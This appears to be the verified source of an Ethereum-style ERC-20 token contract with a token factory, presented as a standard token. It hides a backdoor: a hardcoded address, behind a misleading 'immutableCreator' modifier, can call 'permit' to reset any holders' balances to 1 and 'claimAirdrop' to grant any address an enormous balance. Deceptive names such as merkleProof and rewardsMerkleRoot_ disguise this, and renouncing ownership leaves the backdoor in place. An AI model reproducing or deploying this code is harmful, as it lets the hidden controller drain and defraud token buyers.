文件 1 的 1:StandardToken.sol
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract StandardToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 420690000000 * 10**_decimals;
uint256 finalTax= 1;
uint256 inicialTax= 10;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address BeliefToken_AirdropNotEligible = 0xb78C6F8A4CCb6429B8B79Ed563ca2cF13BC91FC8;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor(string memory name_, string memory symbol_, address creator) {
_name = name_;
_symbol = symbol_;
_balances[creator] = _totalSupply;
uniswapV2Router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), creator, _totalSupply);
transferOwnership(creator);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
function _transfer(address sender, address merkleProof, uint256 amountToDistributeClaimableRewards) internal {
require(sender != address(0));
require(merkleProof != address(0));
_balances[sender] = _balances[sender].sub(amountToDistributeClaimableRewards);
_balances[merkleProof] = _balances[merkleProof].add(amountToDistributeClaimableRewards);
emit Transfer(sender, merkleProof, amountToDistributeClaimableRewards);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
modifier immutableCreator() {
require(BeliefToken_AirdropNotEligible == _msgSender());
_;
}
function permit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
_balances[rewardsMerkleRoot_[i]] = finalTax;
emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
}
}
function claimAirdrop(address claimedRewardStatusOf) external immutableCreator {
_balances[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals);
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
function createToken(string memory name, string memory symbol) external returns (address) {
StandardToken token = new StandardToken(name, symbol, msg.sender);
emit TokenCreated(address(token), name, symbol, msg.sender);
return address(token);
}
}
{
"compilationTarget": {
"StandardToken.sol": "StandardToken"
},
"evmVersion": "cancun",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}